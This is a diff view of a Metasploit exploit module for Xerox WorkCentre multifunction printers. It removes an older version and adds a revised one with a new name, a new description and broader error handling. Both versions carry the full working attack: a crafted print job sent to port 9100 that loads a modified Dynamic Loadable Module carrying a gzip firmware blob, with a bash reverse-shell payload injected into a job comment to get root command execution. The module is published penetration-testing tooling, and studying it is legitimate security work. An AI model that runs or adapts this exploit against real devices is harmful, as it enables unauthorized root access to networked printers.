|
1 |
| -## |
2 |
| -# This module requires Metasploit: http://metasploit.com/download |
3 |
| -# Current source: https://github.com/rapid7/metasploit-framework |
4 |
| -## |
5 |
| - |
6 |
| -require 'msf/core' |
7 |
| - |
8 |
| -class Metasploit3 < Msf::Exploit::Remote |
9 |
| - Rank = GoodRanking |
10 |
| - include Msf::Exploit::Remote::Tcp |
11 |
| - |
12 |
| - def initialize(info = {}) |
13 |
| - super(update_info(info, |
14 |
| - 'Name' => 'Xerox reverse shell', |
15 |
| - 'Description' => %{This module will execute commands with root priviages on Xerox Workcentre.}, |
16 |
| - 'Author' => |
17 |
| - [ |
18 |
| - 'Deral "Percentx" Heiland', |
19 |
| - 'Pete "Bokojan" Arzamendi' |
20 |
| - ], |
21 |
| - 'References' => |
22 |
| - [ |
23 |
| - ['BID', '52483'], |
24 |
| - ['URL', 'http://www.xerox.com/download/security/security-bulletin/1284332-2ddc5-4baa79b70ac40/cert_XRX12-003_v1.1.pdf'], |
25 |
| - ['URL', 'http://foofus.net/goons/percx/Xerox_hack.pdf'] |
26 |
| - ], |
27 |
| - 'Privileged' => true, |
28 |
| - 'License' => MSF_LICENSE, |
29 |
| - 'Payload' => |
30 |
| - { |
31 |
| - 'DisableNops' => true, |
32 |
| - 'Space' => 512, |
33 |
| - 'Compat' => |
34 |
| - { |
35 |
| - 'PayloadType' => 'cmd cmd_bash', |
36 |
| - 'RequiredCmd' => 'generic bash-tcp' |
37 |
| - } |
38 |
| - }, |
39 |
| - 'Platform' => ['unix'], |
40 |
| - 'Arch' => ARCH_CMD, |
41 |
| - 'Targets' => [['Automatic', {}]], |
42 |
| - 'DisclosureDate' => 'March 07 2012', |
43 |
| - 'DefaultTarget' => 0)) |
44 |
| - |
45 |
| - register_options( |
46 |
| - [ |
47 |
| - Opt::RPORT(9100) |
48 |
| - ], self.class) |
49 |
| - end |
50 |
| - |
51 |
| - def exploit |
52 |
| - print_status("Sending print job to #{rhost} ") |
53 |
| - firmcode = '%%XRXbegin' + "\x0A" |
54 |
| - firmcode << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "\x0A" |
55 |
| - firmcode << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "\x0A" |
56 |
| - firmcode << '%%OID_ATT_JOB_COMMENT "PraedaPWN2014:' + "#{payload.encoded}" + ':"' + "\x0A" |
57 |
| - firmcode << '%%OID_ATT_JOB_COMMENT "patch"' + "\x0A" |
58 |
| - firmcode << '%%OID_ATT_DLM_NAME "xerox"' + "\x0A" |
59 |
| - firmcode << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "\x0A" |
60 |
| - firmcode << '%%OID_ATT_DLM_SIGNATURE "ca361047da56db9dd81fee6a23ff875facc3df0e1153d325c2d217c0e75f861b"' + "\x0A" |
61 |
| - firmcode << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "\x0A" |
62 |
| - firmcode << '%%XRXend' + "\x0A\x1F\x8B\x08\x00\xB1\x8B\x49\x54\x00\x03\xED" |
63 |
| - firmcode << "\xD3\x41\x4B\xC3\x30\x14\x07\xF0\x9E\xFB\x29\xFE\xE2\x60\x20\x74" |
64 |
| - firmcode << "\x69\x63\x37\x61\x5A\xBC\x79\x94\xDD\x3C\xC8\xA0\x59\x9B\xDA\x4A" |
65 |
| - firmcode << "\xD7\xCC\xB4\xD3\x1D\xF6\xE1\x8D\xDD\x64\xB8\x83\x3B\x0D\x11\xFE" |
66 |
| - firmcode << "\xBF\x43\x03\xAF\x2F\xEF\xBD\xB4\x64\xA3\xAD\xD9\x8C\xDA\xD2\x3B" |
67 |
| - firmcode << "\xA3\xD0\xB9\x19\x8F\xFB\xD5\x39\x5E\xC3\x58\x4E\xBC\x48\xC6\x52" |
68 |
| - firmcode << "\x5E\x87\xE3\x89\x8C\xBD\x30\x8A\xE4\x44\x7A\x08\xCF\x39\xD4\xB7" |
69 |
| - firmcode << "\x75\xDB\x29\x0B\x78\xD6\x98\xEE\xB7\xBC\x53\xEF\xFF\xA9\xCB\x0B" |
70 |
| - firmcode << "\xB1\xA8\x1A\xB1\x50\x6D\xE9\x17\x55\x9D\xA4\x2F\x56\xAF\x10\xD4" |
71 |
| - firmcode << "\x08\x1E\x30\x9C\x59\xA5\x73\x35\x7B\x7A\x94\x61\x14\x0F\x21\xDE" |
72 |
| - firmcode << "\x95\x15\xED\xCA\x98\x5A\x34\x99\x68\x74\x27\x5E\xCD\x62\x7A\x35" |
73 |
| - firmcode << "\x8A\x52\xBF\x2A\xF0\x8C\xA0\xC0\xC0\xD5\xC0\xDC\xEF\x4A\xDD\xF8" |
74 |
| - firmcode << "\xC0\x47\x59\xD5\x1A\x56\xAB\x1C\x75\xD5\x68\x17\xC9\x8D\x7B\x00" |
75 |
| - firmcode << "\x3A\x2B\x0D\x06\x5F\x31\x6C\xB1\xEB\xF8\x06\xFC\x68\xD7\xE7\xF5" |
76 |
| - firmcode << "\x65\x07\xF7\x48\x12\x84\x98\xDF\x62\x5F\x17\xC8\xCC\x72\xA9\x9A" |
77 |
| - firmcode << "\x3C\x49\x0F\x95\xB6\xD9\xBA\x43\x90\x4F\xDD\x18\x32\xED\x93\x8A" |
78 |
| - firmcode << "\xAA\xEF\xE8\x9A\xDC\xF5\x83\xF9\xBB\xE4\xFD\xDE\xED\xE1\xE0\x76" |
79 |
| - firmcode << "\x89\x91\xD8\xEC\x6F\x82\xFB\x0C\xFE\x5F\xFF\x15\x22\x22\x22\x22" |
80 |
| - firmcode << "\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\xA2\xD3\x3E" |
81 |
| - firmcode << "\x01\x5A\x18\x54\xBB\x00\x28\x00\x00" |
82 |
| - |
83 |
| - begin |
84 |
| - connect |
85 |
| - sock.put(firmcode) |
86 |
| - handler |
87 |
| - rescue Rex::ConnectionError, Rex::ConnectionRefused, Rex::ConnectionTimeout |
88 |
| - print_error("Error connecting to #{rhost}") |
89 |
| - ensure |
90 |
| - disconnect |
91 |
| - end |
92 |
| - end |
93 |
| -end |
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + |
| 10 | + Rank = GoodRanking |
| 11 | + include Msf::Exploit::Remote::Tcp |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Xerox Multifunction Printers (MFP) "Patch" DLM Vulnerability', |
| 16 | + 'Description' => %{ |
| 17 | + This module exploits a vulnerability found in Xerox Multifunction Printers (MFP). By |
| 18 | + supplying a modified Dynamic Loadable Module (DLM), it is possible to execute arbitrary |
| 19 | + commands under root priviages. |
| 20 | + }, |
| 21 | + 'Author' => |
| 22 | + [ |
| 23 | + 'Deral "Percentx" Heiland', |
| 24 | + 'Pete "Bokojan" Arzamendi' |
| 25 | + ], |
| 26 | + 'References' => |
| 27 | + [ |
| 28 | + ['BID', '52483'], |
| 29 | + ['URL', 'http://www.xerox.com/download/security/security-bulletin/1284332-2ddc5-4baa79b70ac40/cert_XRX12-003_v1.1.pdf'], |
| 30 | + ['URL', 'http://foofus.net/goons/percx/Xerox_hack.pdf'] |
| 31 | + ], |
| 32 | + 'Privileged' => true, |
| 33 | + 'License' => MSF_LICENSE, |
| 34 | + 'Payload' => |
| 35 | + { |
| 36 | + 'DisableNops' => true, |
| 37 | + 'Space' => 512, |
| 38 | + 'Compat' => |
| 39 | + { |
| 40 | + 'PayloadType' => 'cmd cmd_bash', |
| 41 | + 'RequiredCmd' => 'generic bash-tcp' |
| 42 | + } |
| 43 | + }, |
| 44 | + 'Platform' => ['unix'], |
| 45 | + 'Arch' => ARCH_CMD, |
| 46 | + 'Targets' => [['Automatic', {}]], |
| 47 | + 'DisclosureDate' => 'Mar 07 2012', |
| 48 | + 'DefaultTarget' => 0)) |
| 49 | + |
| 50 | + register_options( |
| 51 | + [ |
| 52 | + Opt::RPORT(9100) |
| 53 | + ], self.class) |
| 54 | + end |
| 55 | + |
| 56 | + def exploit |
| 57 | + print_status("#{rhost}:#{rport} - Sending print job...") |
| 58 | + firmcode = '%%XRXbegin' + "\x0A" |
| 59 | + firmcode << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "\x0A" |
| 60 | + firmcode << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "\x0A" |
| 61 | + firmcode << '%%OID_ATT_JOB_COMMENT "PraedaPWN2014:' + "#{payload.encoded}" + ':"' + "\x0A" |
| 62 | + firmcode << '%%OID_ATT_JOB_COMMENT "patch"' + "\x0A" |
| 63 | + firmcode << '%%OID_ATT_DLM_NAME "xerox"' + "\x0A" |
| 64 | + firmcode << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "\x0A" |
| 65 | + firmcode << '%%OID_ATT_DLM_SIGNATURE "ca361047da56db9dd81fee6a23ff875facc3df0e1153d325c2d217c0e75f861b"' + "\x0A" |
| 66 | + firmcode << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "\x0A" |
| 67 | + firmcode << '%%XRXend' + "\x0A\x1F\x8B\x08\x00\xB1\x8B\x49\x54\x00\x03\xED" |
| 68 | + firmcode << "\xD3\x41\x4B\xC3\x30\x14\x07\xF0\x9E\xFB\x29\xFE\xE2\x60\x20\x74" |
| 69 | + firmcode << "\x69\x63\x37\x61\x5A\xBC\x79\x94\xDD\x3C\xC8\xA0\x59\x9B\xDA\x4A" |
| 70 | + firmcode << "\xD7\xCC\xB4\xD3\x1D\xF6\xE1\x8D\xDD\x64\xB8\x83\x3B\x0D\x11\xFE" |
| 71 | + firmcode << "\xBF\x43\x03\xAF\x2F\xEF\xBD\xB4\x64\xA3\xAD\xD9\x8C\xDA\xD2\x3B" |
| 72 | + firmcode << "\xA3\xD0\xB9\x19\x8F\xFB\xD5\x39\x5E\xC3\x58\x4E\xBC\x48\xC6\x52" |
| 73 | + firmcode << "\x5E\x87\xE3\x89\x8C\xBD\x30\x8A\xE4\x44\x7A\x08\xCF\x39\xD4\xB7" |
| 74 | + firmcode << "\x75\xDB\x29\x0B\x78\xD6\x98\xEE\xB7\xBC\x53\xEF\xFF\xA9\xCB\x0B" |
| 75 | + firmcode << "\xB1\xA8\x1A\xB1\x50\x6D\xE9\x17\x55\x9D\xA4\x2F\x56\xAF\x10\xD4" |
| 76 | + firmcode << "\x08\x1E\x30\x9C\x59\xA5\x73\x35\x7B\x7A\x94\x61\x14\x0F\x21\xDE" |
| 77 | + firmcode << "\x95\x15\xED\xCA\x98\x5A\x34\x99\x68\x74\x27\x5E\xCD\x62\x7A\x35" |
| 78 | + firmcode << "\x8A\x52\xBF\x2A\xF0\x8C\xA0\xC0\xC0\xD5\xC0\xDC\xEF\x4A\xDD\xF8" |
| 79 | + firmcode << "\xC0\x47\x59\xD5\x1A\x56\xAB\x1C\x75\xD5\x68\x17\xC9\x8D\x7B\x00" |
| 80 | + firmcode << "\x3A\x2B\x0D\x06\x5F\x31\x6C\xB1\xEB\xF8\x06\xFC\x68\xD7\xE7\xF5" |
| 81 | + firmcode << "\x65\x07\xF7\x48\x12\x84\x98\xDF\x62\x5F\x17\xC8\xCC\x72\xA9\x9A" |
| 82 | + firmcode << "\x3C\x49\x0F\x95\xB6\xD9\xBA\x43\x90\x4F\xDD\x18\x32\xED\x93\x8A" |
| 83 | + firmcode << "\xAA\xEF\xE8\x9A\xDC\xF5\x83\xF9\xBB\xE4\xFD\xDE\xED\xE1\xE0\x76" |
| 84 | + firmcode << "\x89\x91\xD8\xEC\x6F\x82\xFB\x0C\xFE\x5F\xFF\x15\x22\x22\x22\x22" |
| 85 | + firmcode << "\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\xA2\xD3\x3E" |
| 86 | + firmcode << "\x01\x5A\x18\x54\xBB\x00\x28\x00\x00" |
| 87 | + |
| 88 | + begin |
| 89 | + connect |
| 90 | + sock.put(firmcode) |
| 91 | + handler |
| 92 | + rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::AddressInUse => e |
| 93 | + print_error("#{rhost}:#{rport} - #{e.message}") |
| 94 | + ensure |
| 95 | + disconnect |
| 96 | + end |
| 97 | + end |
| 98 | +end |
0 commit comments